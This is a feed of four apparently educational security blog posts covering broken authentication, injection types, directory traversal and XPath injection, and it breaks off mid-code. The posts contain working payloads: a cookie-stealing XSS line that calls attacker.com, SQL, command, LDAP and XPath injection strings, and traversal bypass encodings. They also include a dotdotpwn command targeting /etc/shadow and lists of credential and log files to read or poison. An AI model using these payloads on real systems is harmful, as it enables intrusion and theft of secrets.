<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Atharv Sharma on Medium]]></title>
        <description><![CDATA[Stories by Atharv Sharma on Medium]]></description>
        <link>https://medium.com/@atharvvvsharma?source=rss-5a67e040fd3f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aqASc19JYE6JZ06VoEeFTg.jpeg</url>
            <title>Stories by Atharv Sharma on Medium</title>
            <link>https://medium.com/@atharvvvsharma?source=rss-5a67e040fd3f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 14:27:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@atharvvvsharma/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OWASP Top 10 - Broken Authentication]]></title>
            <link>https://atharvvvsharma.medium.com/owasp-top-10-broken-authentication-a2a70a990dbb?source=rss-5a67e040fd3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2a70a990dbb</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[authorization]]></category>
            <dc:creator><![CDATA[Atharv Sharma]]></dc:creator>
            <pubDate>Tue, 27 Feb 2024 10:41:04 GMT</pubDate>
            <atom:updated>2024-02-27T10:41:04.149Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Folks!!!</p><p>In this blog we will take a deep dive into</p><ol><li><strong>Difference between Authentication and Authorization.</strong></li><li><strong>What is Broken Authentication?</strong></li><li><strong>What are authentication vulnerabilities?</strong></li><li><strong>What are the prevention measures?</strong></li></ol><h3>Difference between Authentication and Authorization.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwL1YJyZNAcnxn1qKBBs7w.png" /></figure><p>Authentication is the process of verifying that a user is who they claim to be. Authorization gives those users permission to access a resource, or we can say it involves verifying whether a user is allowed to do something.</p><p>For example, authentication determines whether someone attempting to access a website with the username Atharv really is the same person who created the account.</p><p>Once Atharv is authenticated, their permissions determine what they are authorized to do. For example, they may be authorized to access personal information about other users or perform actions such as deleting another user&#39;s account.</p><h3><strong>What is Broken Authentication?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5T6bvAAin92swjWcvFLsw.png" /></figure><p>Broken authentication vulnerability arises when there is weakness in authentication and session management function that allows attackers to compromise passwords, keys, session tokens, and user account information, enabling then to assume user identities. The root cause of this vulnerability is poorly implemented authentication and session management functions. Attackers can use broken authentication to gain unauthorized access to one or more accounts, granting then the same privileges as legitimate user. Some common flaws which are actively exploited by attackers are:</p><ul><li>Brute force attacks: If a web application uses usernames and passwords, an attacker is able to launch brute force attacks that allow them to guess the username and passwords using multiple authentication attempts.</li><li>Use of weak credentials: web applications should set strong password policies. If applications allow users to set passwords such as ‘password1’ or common passwords, then an attacker is able to easily guess them and access user accounts. They can do this without brute forcing and without multiple attempts.</li><li>Weak Session Cookies: Session cookies are how the server keeps track of users. If session cookies contain predictable values, an attacker can set their own session cookies and access users’ accounts.</li></ul><h3><strong>What are authentication vulnerabilities?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*m8aq6y0tsF3mn4EUoJJf-A.png" /></figure><p>Authentication vulnerabilities refer to weaknesses in the processes and mechanisms used to verify user identities, making websites and applications susceptible to unauthorized access and data breaches.</p><p>Most vulnerabilities in authentication mechanisms occur in one of two ways:</p><ul><li>The authentication mechanisms are weak because they fail to adequately protect against brute-force attacks.</li><li>Logic flaws or poor coding in the implementation allow the authentication mechanisms to be bypassed entirely by an attacker. This is sometimes called “broken authentication”.</li></ul><p>In many areas of web development, logic flaws cause the website to behave unexpectedly, which may or may not be a security issue. However, as authentication is so critical to security, it’s very likely that flawed authentication logic exposes the website to security issues.</p><h4>Most common Authentication Vulnerabilities</h4><p>Here are seven of the most common authentication-based vulnerabilities to watch out for:</p><ol><li>Phishing Attacks</li><li>Credential Stuffing</li><li>Weak Passwords</li><li>Insecure Authentication Protocols</li><li>Brute Force Attacks</li><li>Session Hijacking</li><li>Lack of Multi-Factor Authentication</li></ol><h3><strong>What are the preventive measures?</strong></h3><p>There can be various mitigation for broken authentication mechanisms depending on the exact flaw:</p><ul><li><strong>Implement Multi-Factor Authentication (MFA):</strong> MFA adds an extra layer of security by requiring users to provide multiple forms of identification, reducing the risk of unauthorized access.</li><li><strong>Enforce Secure Password Policies:</strong> Implement strong password requirements and disallow the use of weak or common passwords to enhance authentication security.</li><li><strong>Protect Session IDs:</strong> Ensure that session IDs, such as cookies or tokens, are safeguarded and rotated after successful logins to prevent session hijacking.</li><li><strong>Session Management:</strong> Properly invalidate session IDs during logout or inactivity and enforce secure session management practices to mitigate authentication vulnerabilities.</li><li><strong>Use Secure Frameworks and Libraries:</strong> Employ community-vetted frameworks, libraries, and secure coding patterns to embed robust authentication mechanisms in software applications.</li><li><strong>Regular Security Audits:</strong> Conduct regular security audits to identify and address any vulnerabilities in the authentication process.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2a70a990dbb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Top Ten — Injection]]></title>
            <link>https://atharvvvsharma.medium.com/owasp-top-ten-injection-3321452baebc?source=rss-5a67e040fd3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/3321452baebc</guid>
            <category><![CDATA[ldap-injection]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[injection-attacks]]></category>
            <dc:creator><![CDATA[Atharv Sharma]]></dc:creator>
            <pubDate>Fri, 23 Feb 2024 01:27:15 GMT</pubDate>
            <atom:updated>2024-02-23T01:27:15.490Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP Top Ten — Injection</h3><p>Hey Folks!</p><p>Today we are going to cover the first vulnerability in OWASP Top Ten 2017 list which is Injection. We will cover</p><ol><li><strong>What are Injection attacks?</strong></li><li><strong>What are the types of Injection attacks and how they work?</strong></li><li><strong>Prevention from Injection attacks.</strong></li></ol><h3>What are Injection attacks?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*N6xCwc8aTIvz4bOCyGFOGg.png" /></figure><p>An injection attack is a form of cyberattack in which information is sent to alter the system’s interpretation of commands. The attacker injects malicious code or commands into input fields or data streams that are then executed by the application’s interpreter.</p><h4>Risk Related to Injection Attacks.</h4><p>Injection attacks can lead to unauthorized access, data loss, data corruption, security breaches, and possibly the loss of control of the target host and the release of sensitive information linked to the host. A “successful” injection can also let attackers access the database without permission. This lets the attackers look at tables, get important information from them, change them, and even gain access as an administrator. An injection attack can be done on data from many different places, like environment variables, parameters, online services, and user types, but not just those.</p><h3>What are the types of Injection attacks?</h3><p>Injection attacks pose a significant threat to the security of web applications and systems. To effectively mitigate the risk of injection attacks, it is crucial to understand the various types of injection vulnerabilities. Here are some examples of distinct kinds of Injection attacks.</p><h4>1. SQL Injection (SQLi)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*v51MljPHcHsu-poB.png" /></figure><p>SQL injection is a weakness in web security that could let an attacker to insert malicious SQL queries into input fields or parameters that are sent to a database server for processing. This can be used to get sensitive information like the structure of the database, its tables, columns, and data set.</p><p>An SQL injection attack is carried out when a hostile hacker inserts a SQL statement into data that is placed into a web form, comment field, query string, or any other input channel that is available to people on the outside. Malicious code usually takes the form of an SQL query that tries to get sensitive information. However, it might also take the form of a SQL statement that is intended to change the content of the database, going as far as to delete database tables.</p><p><strong>How SQL Injection works?</strong></p><p>Consider a simple web application that allows users to search for products in a database using a search form. The application constructs a SQL query based on the user’s input to fetch matching products from the database. The SQL query might look like this:</p><pre>SELECT * FROM products WHERE name = &#39;input&#39;;</pre><p>Where ‘input’ represents the user-supplied search term. Now, suppose an attacker enters the following input into the search form:</p><pre>&#39; OR &#39;1&#39;=&#39;1</pre><p>The resulting SQL query becomes:</p><pre>SELECT * FROM products WHERE name = &#39;&#39; OR &#39;1&#39;=&#39;1&#39;;</pre><p>In this manipulated query, the condition &#39;1&#39;=&#39;1&#39; always evaluates to true, effectively bypassing the original query&#39;s intended logic. As a result, the application retrieves all products from the database, rather than just the ones matching the user&#39;s search term. This type of attack is known as a &quot;boolean-based&quot; SQL injection. An attacker could further exploit this vulnerability to perform malicious actions, such as accessing sensitive data, modifying database records, or executing arbitrary SQL commands.</p><h4>2. Cross Site Scripting Attacks (XSS)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*z5e1DiEmquY5qcj2.png" /></figure><p>Cross-site scripting, also known as XSS, lets an attacker take control of how users interact with an application that is vulnerable to it. It occurs when an attacker injects malicious scripts into web pages viewed by other users. These scripts execute within the context of the victim’s browser, allowing the attacker to steal sensitive information, hijack user sessions, deface websites, and perform other malicious actions.</p><p><strong>How XSS Attacks Work</strong></p><p>Consider a blog website that allows users to leave comments on articles. The website displays these comments to other users without properly sanitizing or validating the input. An attacker takes advantage of this vulnerability by posting a comment containing malicious JavaScript code, such as:</p><pre>&lt;script&gt;<br>  // Malicious JavaScript code<br>  fetch(&quot;http://attacker.com/steal-cookies?cookie=&quot; + document.cookie);<br>&lt;/script&gt;</pre><p>When a user views the page containing the malicious comment, their browser executes the embedded JavaScript code. In this example, the code sends the victim’s session cookies to the attacker’s server using the fetch API. The attacker can then use these stolen cookies to impersonate the victim, hijack their session, and access sensitive information.</p><p>XSS attacks can be further classified into two main types: persistent (or stored) XSS and reflected XSS. Persistent XSS occurs when the malicious script is permanently stored on the server, such as in a database, and executed every time the vulnerable page is viewed. Reflected XSS occurs when the injected script is reflected off a web server, such as in the URL query parameters, and executed in the victim’s browser.</p><h4>3. OS Command Injection Attack</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*GGILR-7UBu71cuTOxBAUhQ.png" /></figure><p>OS command injection also known as shell injection is a web security vulnerability which occurs when a web-application is interacting with operating system on which it is running. It allows an attacker to inject malicious commands into input fields or parameters that are then executed by the underlying operating system’s command shell. This can lead to</p><ul><li>Unauthorized Access</li><li>Data Leakage</li><li>Full System Compromise</li></ul><p><strong>How OS Command Injection Attacks Work</strong></p><p>Consider a web application that allows users to ping a specified IP address to check for network connectivity. The application takes the user-supplied IP address and constructs a command to execute the ping utility:</p><pre>ping &lt;user-supplied IP address&gt;</pre><p>Now, suppose an attacker enters the following input into the application’s input field:</p><pre>127.0.0.1; ls</pre><p>The resulting command becomes:</p><pre>ping 127.0.0.1; ls</pre><p>In this manipulated command, the semicolon (;) acts as a command separator, allowing the attacker to append additional commands to be executed after the initial ping command. In this case, the attacker appends the ls command, which lists the files in the current directory.</p><p>When the application executes the command, both the ping and ls commands are executed by the operating system, and the output is returned to the attacker. This allows the attacker to view sensitive files and directories on the server, potentially leading to further exploitation of the system.</p><h4>4. Code Injection Attacks</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*EqX8-Il4O2mmnmbzu-_XeA.jpeg" /></figure><p>Code Injection vulnerability occurs when an attacker is able to inject code as user input and convince the server to execute it. These attacks can target various types of code, including SQL, operating system commands, and even executable code within the application itself. For example, if the vulnerable application was written in PHP, attackers could inject PHP code into the web server. The PHP interpreter on the web server would then read the code and run it.</p><blockquote>Note that code injection is distinct from OS command injection since you are injecting application code rather than system commands (although one can led to the other if your application accepts malicious code that calls a system command). This is a significant vulnerability because if the attacker is successful in obtaining remote code execution, the target system can be regarded as compromised.</blockquote><p><strong>How Code Injection Attacks Work</strong></p><p>Consider a web application that allows users to upload a profile picture. The application allows users to specify the filename of their profile picture, which is then used to construct the file path where the uploaded picture is stored on the server. The PHP code to handle the file upload might look like this:</p><pre>$filename = $_FILES[&#39;profile_picture&#39;][&#39;name&#39;];<br>$target_dir = &quot;uploads/&quot;;<br>$target_file = $target_dir . $filename;<br><br>move_uploaded_file($_FILES[&#39;profile_picture&#39;][&#39;tmp_name&#39;], $target_file);<br>echo &quot;Profile picture uploaded successfully!&quot;;</pre><p>Now, suppose an attacker uploads a PHP file instead of a regular image file and names it malicious.php. The attacker could then access the uploaded PHP file through the web server, potentially executing arbitrary code on the server.</p><p>For example, the attacker’s malicious.php file might contain the following code:</p><pre>&lt;?php<br>// Malicious code<br>echo &quot;I am a malicious script!&quot;;<br>// More malicious code...<br>?&gt;</pre><p>When the attacker accesses malicious.php through the web server, the PHP interpreter executes the embedded malicious code, leading to unauthorized actions such as data theft, system compromise, or further exploitation of the server.</p><h4>5. Server-Side Template Injection (SSTI) Attack</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3MnIoOd4kGuI21lO3sXSA.png" /></figure><p>Server-Side Template Injection vulnerability arises when a malicious payload is injected into a template using the template language’s native syntax, and the template is then run on the server. SSTI attacks typically target web applications that use template engines to dynamically generate HTML pages or other types of content.</p><p><strong>How SSTI Attacks Work</strong></p><p>Consider a web application that uses the popular Jinja2 template engine in Python to render HTML pages. The application allows users to input their names, which are then displayed on a welcome page. The Jinja2 template might look like this:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Welcome&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome, {{ user_name }}!&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Now, suppose an attacker enters the following input into the application’s user name field:</p><pre>{{ 7 * 7 }}</pre><p>The resulting template becomes:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Welcome&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome, {{ 7 * 7 }}!&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>When the server renders the template, it evaluates the expression {{ 7 * 7 }} as Python code within the context of the Jinja2 template engine. As a result, the server computes the expression and inserts the result (49) into the HTML page:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Welcome&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome, 49!&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>In this example, the attacker successfully injected and executed arbitrary Python code on the server, demonstrating a Server-Side Template Injection (SSTI) vulnerability.</p><h4>6. HTTP Header Injection</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*SQAqH3tcpOtALuyD4B2exw.png" /></figure><p>The host header of a website or web application specifies which website or web application should be responsible for handling an incoming HTTP request. The content of this header is evaluated by the web server before it forwards the request to the website or online application that has been specified. If the attacker delivers an arbitrary host to the real virtual host, this might result in web cache poisoning as well as the execution of illegal activities like resetting a password.</p><p><strong>How HTTP Header Injection Attacks Work</strong></p><p>Consider a web application that includes user input in an HTTP response header without proper validation or sanitization. For example, the application may use user-supplied data to set a custom HTTP header, such as the Location header used for redirection:</p><pre>&lt;?php<br>// Get user-supplied input from the query parameter<br>$user_input = $_GET[&#39;destination&#39;];<br><br>// Set the Location header with the user-supplied input<br>header(&quot;Location: &quot; . $user_input);<br><br>// Redirect the user to the specified destination<br>exit;<br>?&gt;</pre><p>Now, suppose an attacker crafts a malicious URL with the following input:</p><pre>https://example.com/login.php?destination=https://malicious-site.com</pre><p>The resulting HTTP response header would be:</p><pre>Location: https://malicious-site.com</pre><p>When the user’s browser receives this HTTP response, it automatically redirects the user to the attacker’s malicious site. This redirection can be abused for phishing attacks, session fixation, or other malicious purposes.</p><h4>7. LDAP Injection Attack</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*BpbrZINYF02TkARtDLmNag.jpeg" /></figure><p>The protocol used to access and manage directory services on IP servers is called Lightweight Active Directory Protocol, or LDAP for short. The Lightweight Directory Access Protocol (LDAP) is a client-server protocol that is used to verify users, manage resources, and set permissions. It also gives access to a directory database. Lightweight Directory Access Protocol (LDAP) injection vulnerability occurs when untrusted data is inserted into LDAP queries in a way that alters the logic of the query. LDAP Injection attacks exploit vulnerabilities in web applications that interact with LDAP directories without properly validating or sanitizing user-supplied input. If an attacker is successful in injecting malicious code into LDAP, not only will the attacker have access to data that should not be seen, but the attacker will also be able to manipulate the structure of LDAP.</p><p><strong>How LDAP Injection Attacks Work</strong></p><p>Consider a web application that allows users to search for employees in an LDAP directory by providing their username. The application constructs an LDAP query based on the user-supplied input to retrieve the employee’s information:</p><pre>&lt;?php<br>// Get user-supplied input from the query parameter<br>$username = $_GET[&#39;username&#39;];<br><br>// Construct LDAP query<br>$ldap_query = &quot;(cn=&quot; . $username . &quot;)&quot;;<br><br>// Perform LDAP search<br>$result = ldap_search($ldap_connection, &quot;ou=employees,dc=example,dc=com&quot;, $ldap_query);<br><br>// Process search results...<br>?&gt;</pre><p>Now, suppose an attacker enters the following input into the application’s username field:</p><pre>*)(objectClass=*</pre><p>The resulting LDAP query becomes:</p><pre>(cn=*)(objectClass=*)</pre><p>In this manipulated query, the attacker injects the wildcard character * into the cn filter, followed by the objectClass=* condition. This causes the LDAP server to return all entries where the cn attribute is not empty, effectively bypassing the intended username search and retrieving potentially sensitive information about all employees in the directory.</p><h3>Prevention from Injection attacks</h3><p>Till now we have studied about what are Injection attacks and how they work. Now to stop injection attacks you need to write safe code into your web application so that it can’t be easily changed. Below are some good techniques to follow:</p><p><strong>Validate User Inputs</strong></p><p>Injection attacks frequently focus on user inputs as important indications.</p><p><strong>Limit Access to Essential Privileges</strong></p><p>An attacker’s ability to damage your network depends on their access. You can limit their access by not always allowing admin capabilities on database-connecting platforms. For most tasks, use a limited-access account. If a hacker obtains access, they can only do so much.</p><p><strong>Keep Sensitive Information Secure</strong></p><p>Without web application credentials, attackers can accomplish nothing. Be aware of what’s presented on your system. A harmless-looking error message might provide an attacker a way into your system. Make sure web app messages don’t contain important information.</p><p><strong>Control Who Accesses Your System</strong></p><p>When an injection attack is caught early enough, before the attacker has full control of your system, it is easiest to stop the attack and stop any more damage from happening. The best way to find injection flaws that could be used by hackers is to install an automated online vulnerability scanner on your network. You have the option of performing the detection manually through the use of penetration testing; however, doing so will require more effort as well as more time and resources.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3321452baebc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Directory Traversal]]></title>
            <link>https://atharvvvsharma.medium.com/directory-traversal-ff2359c68a30?source=rss-5a67e040fd3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff2359c68a30</guid>
            <dc:creator><![CDATA[Atharv Sharma]]></dc:creator>
            <pubDate>Fri, 22 Apr 2022 17:20:05 GMT</pubDate>
            <atom:updated>2022-04-22T17:20:05.316Z</atom:updated>
            <content:encoded><![CDATA[<p>Directory Traversal or file path traversal is a web security vulnerability in which an attacker tries to gain the access to unauthorized or restricted files and directories. This might include :</p><ul><li>Application code and data.</li><li>Credentials for back-end systems.</li><li>Sensitive operating files.</li></ul><p><strong>How to read files via directory traversal?</strong></p><p>For example, a shopping application that displays an image by using an image tag that looks like :</p><pre>&lt;img src=&quot;/image?filename=first.jpg&quot;&gt;</pre><p>This image URL takes the filename as an input and then searches for the specified image file on<strong> /var/www/images</strong> folder where all images are generally stored.</p><p>If there is no defense applied for directory traversal attack then an attacker can give another file’s location and try to read it. Suppose the attacker wants to read the passwd file which is stored on the location /etc/passwd then he will modify the URL and request for the file :</p><pre><a href="http://vulnerable.com/">http://vulnerable.com</a>/image?filename=../../../etc/passwd</pre><p>../ is used to step up one level in the directory structure in Linux-based systems and on windows both ../ and ..\ can be used. By specifying ../../../ we land on the root directory of the server and from here we can access any file on the server by mentioning its path just like /etc/passwd which we mentioned above. The URL will cause the application to read from the following path :</p><pre>/var/www/images/../../../etc/passwd</pre><h4><strong>Obstacles while exploiting file path traversal vulnerabilities.</strong></h4><p>Putting user&#39;s input into file paths</p><blockquote>In many applications, user-supplied inputs are placed into the file paths which is a kind of defense against directory traversal attacks.</blockquote><p>There are ways by which we can bypass this type of validation.</p><ul><li>Directly reference a file without using any traversal sequence.</li></ul><pre><a href="http://vulnerable.com/">http://vulnerable.com</a>/image?filename=/etc/passwd</pre><ul><li>Using nested traversal sequences such as ….// or ….\/ will revert to a simple traversal sequence when the inner sequence is stripped.</li></ul><pre><a href="http://vulnerable.com/">http://vulnerable.com</a>/image?filename=....//....//....//etc/passwd</pre><ul><li>Sometimes the webserver strips the multipart/form-data request before passing the input to the application. We can bypass this by URL encoding the traversal sequence ../ resulting in ..%2F or double encoding ..%2F to ..%252F. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also do the trick.</li></ul><pre><a href="http://vulnerable.com/">http://vulnerable.com</a>/image?filename=..%252f..%252f..%252fetc/passwd</pre><ul><li>Mentioning the full path of the file which we want to access</li></ul><pre><a href="http://vulnerable.com/">http://vulnerable.com</a>/image?filename=/var/www/html/../../../etc/passwd</pre><ul><li>When an application requires a user-supplied filename must end with an expected file extension, such as .png, then it might be possible to use a null byte to effectively terminate the file path before the required extension.</li></ul><pre><a href="http://vulnerable.com/">http://vulnerable.com</a>/image?filename=../../../etc/passwd%00.png</pre><p><strong>TOOL FOR DIRECTORY TRAVERSAL</strong></p><ul><li><a href="https://github.com/wireghoul/dotdotpwn">dotdotpwn</a></li></ul><pre>git clone https://github.com/wireghoul/dotdotpwn<br>perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b</pre><p><strong>PAYLOADS:</strong></p><ul><li>List of traversal sequence</li></ul><pre>../<br>..\<br>..\/<br>%2e%2e%2f<br>%252e%252e%252f<br>%c0%ae%c0%ae%c0%af<br>%uff0e%uff0e%u2215<br>%uff0e%uff0e%u2216</pre><ul><li>16 bit Unicode Encoding</li></ul><pre>. = %u002e<br>/ = %u2215<br>\ = %u2216</pre><ul><li>UTF-8 Unicode Encoding</li></ul><pre>. = %c0%2e, %e0%40%ae, %c0ae<br>/ = %c0%af, %e0%80%af, %c0%2f<br>\ = %c0%5c, %c0%80%5c</pre><ul><li>Bypass “../” replaced by “”</li></ul><p>Sometimes you encounter a WAF which removes the “../” characters from the strings and just duplicates them.</p><pre>..././<br>...\.\</pre><ul><li>Bypass “../” with “;”</li></ul><pre>..;/<br><a href="http://domain.tld/page.jsp?include=..;/..;/sensitive.txt">http://vulnerable.com/image?filename=..;/..;/sensitive.txt</a></pre><ul><li>Double URL Encoding</li></ul><pre>. = %252e<br>/ = %252f<br>\ = %255c</pre><ul><li>UNC Bypass</li></ul><pre>\\localhost\c$\windows\win.ini</pre><ul><li>Java Bypass</li></ul><pre>url:file:///etc/passwd<br>url:<a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a></pre><p><strong>FILES LIST</strong></p><ul><li>Linux files</li></ul><pre>/etc/issue<br>/etc/passwd<br>/etc/shadow<br>/etc/group<br>/etc/hosts<br>/etc/motd<br>/etc/mysql/my.cnf<br>/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)<br>/proc/self/environ<br>/proc/version<br>/proc/cmdline<br>/proc/sched_debug<br>/proc/mounts<br>/proc/net/arp<br>/proc/net/route<br>/proc/net/tcp<br>/proc/net/udp<br>/proc/self/cwd/index.php<br>/proc/self/cwd/main.py<br>/home/$USER/.bash_history<br>/home/$USER/.ssh/id_rsa<br>/run/secrets/kubernetes.io/serviceaccount/token<br>/run/secrets/kubernetes.io/serviceaccount/namespace<br>/run/secrets/kubernetes.io/serviceaccount/certificate<br>/var/run/secrets/kubernetes.io/serviceaccount<br>/var/lib/mlocate/mlocate.db<br>/var/lib/mlocate.db</pre><ul><li>Windows files</li></ul><p>Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside…</p><pre>c:\windows\system32\license.rtf<br>c:\windows\system32\eula.txt</pre><p>Interesting files to check out</p><pre>c:/boot.ini<br>c:/inetpub/logs/logfiles<br>c:/inetpub/wwwroot/global.asa<br>c:/inetpub/wwwroot/index.asp<br>c:/inetpub/wwwroot/web.config<br>c:/sysprep.inf<br>c:/sysprep.xml<br>c:/sysprep/sysprep.inf<br>c:/sysprep/sysprep.xml<br>c:/system32/inetsrv/metabase.xml<br>c:/sysprep.inf<br>c:/sysprep.xml<br>c:/sysprep/sysprep.inf<br>c:/sysprep/sysprep.xml<br>c:/system volume information/wpsettings.dat<br>c:/system32/inetsrv/metabase.xml<br>c:/unattend.txt<br>c:/unattend.xml<br>c:/unattended.txt<br>c:/unattended.xml<br>c:/windows/repair/sam<br>c:/windows/repair/system</pre><p>The following log files are controllable and can be included with an evil payload to achieve a command execution</p><pre>/var/log/apache/access.log<br>/var/log/apache/error.log<br>/var/log/httpd/error_log<br>/usr/local/apache/log/error_log<br>/usr/local/apache2/log/error_log<br>/var/log/nginx/access.log<br>/var/log/nginx/error.log<br>/var/log/vsftpd.log<br>/var/log/sshd.log<br>/var/log/mail</pre><h3>REFERENCES</h3><ul><li>Portswigger Directory Traversal :</li></ul><p><a href="https://portswigger.net/web-security/file-path-traversal">https://portswigger.net/web-security/file-path-traversal</a></p><ul><li>Payload all the things :</li></ul><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff2359c68a30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XPath Injection]]></title>
            <link>https://atharvvvsharma.medium.com/xpath-injection-30193bf326ee?source=rss-5a67e040fd3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/30193bf326ee</guid>
            <dc:creator><![CDATA[Atharv Sharma]]></dc:creator>
            <pubDate>Tue, 08 Mar 2022 07:48:33 GMT</pubDate>
            <atom:updated>2022-03-08T07:48:33.586Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, we will look at the Injection attack which XPath injection.</p><h4>First, we must know what is XPath injection attack?</h4><p>XPath injection attack is like the SQL injection attack in which the website uses user-given information to generate an XPath that will query from XML data. If the website is vulnerable to XPath injection, then we can send our malformed information into the website and access the data or file which normally may not be accessed. We can also see how the XML data is structured.</p><h4>What is an XML query or XPath?</h4><p>when we need to access the XML data, we need to send a query to the database which is done with the help of XPath. It is a type of simple descriptive statement that allows the XML query to locate a piece of information. XPath is a standard language; its notation/syntax is always implementation-independent, which means the attack may be automated. There are no different dialects as it takes place in requests to the SQL databases. There are no access level permissions, and it is possible to refer to almost any part of an XML document, unlike SQL which allows restrictions on databases, tables, or columns.</p><h3>XPath Injection</h3><p>Suppose there is a website that is using the XML data to access the user information and below is the query for the authentication of the user.</p><pre>&lt;?xml version=”1.0&quot; encoding=”utf-8&quot;?&gt; <br>&lt;Employees&gt; <br> &lt;Employee ID=”1&quot;&gt; <br> &lt;Name&gt;Sam&lt;/Name&gt; <br> &lt;UserName&gt;Johns&lt;/UserName&gt; <br> &lt;Password&gt;This is Secret&lt;/Password&gt; <br>&lt;/Employee&gt; <br> &lt;Employee ID=”2&quot;&gt; <br> &lt;Name&gt;Peter&lt;/Name&gt; <br> &lt;UserName&gt;Pan&lt;/UserName&gt; <br> &lt;Password&gt;Pass&lt;/Password&gt; <br>&lt;/Employee&gt; <br>&lt;/Employees&gt;</pre><p>To get logged in to the website the user must enter the username and password. Then the XPath will generate an XML query to check the credentials that the user entered. The query will look like this:</p><pre>“//Employee[UserName/text()=’” &amp; Request(“UserName”) &amp; “‘ And Password/text()=’” &amp; Request(“Password”) &amp; “‘]”</pre><p>Now if we insert our malicious code in the username section then the query which will be generated will be as follows:</p><pre>Username: test’ or 1=1 or ‘a’=’a <br>Password: test</pre><pre>XPath Query:<br>//Employee[UserName/text() =’test’ or 1=1 or ‘a’=’a’ And Password/text()=’test’]</pre><pre>This is equivalent to:<br>//Employee[(UserName/text()=’test’ or 1=1) or (‘a’=’a’ And Password/text()=’test’)]</pre><p>When the query is executed the first part becomes true which is 1=1 and the second part is neglected. The password becomes irrelevant, and the attacker gets unauthorized access to the website.</p><h4>Blind XPath injection attack.</h4><p>Blind XPath Injection attacks can be used to extract data from an application that embeds user-supplied data in an unsafe way. This attack is performed when the attacker doesn’t know about the structure of the XML data, or error messages are suppressed and are only able to pull one piece of information at a time by asking true/false questions (booleanized queries), much like Blind SQL Injection.</p><p>Blind XPath injection can be mounted by using two methods:<br>1. Boolenization.<br>2. XML crawling.</p><h4>BOOLENIZATION</h4><p>By using this technique, the attacker can know whether the expression is true or not. Suppose an attacker wants to log in to a website that is vulnerable to blind XPath injection then if the login is successful then it will return “True” and failed log-in will return “False”. In this, a small amount of information is targeted via the analyzed character or number.<br>When the attacker focuses on a string, they may reveal it in its entirety by checking every single character within the class/range of characters this string belongs to.</p><p>Using a string-length(S) function, where S is a string, the attacker may find out the length of this string. With the appropriate number of substring(S,N,1) function iterations, where S is a previously mentioned string, N is a start character, and “1” is a next character counting from N character, the attacker can enumerate the whole string.</p><pre>Code:<br>&lt;?xml 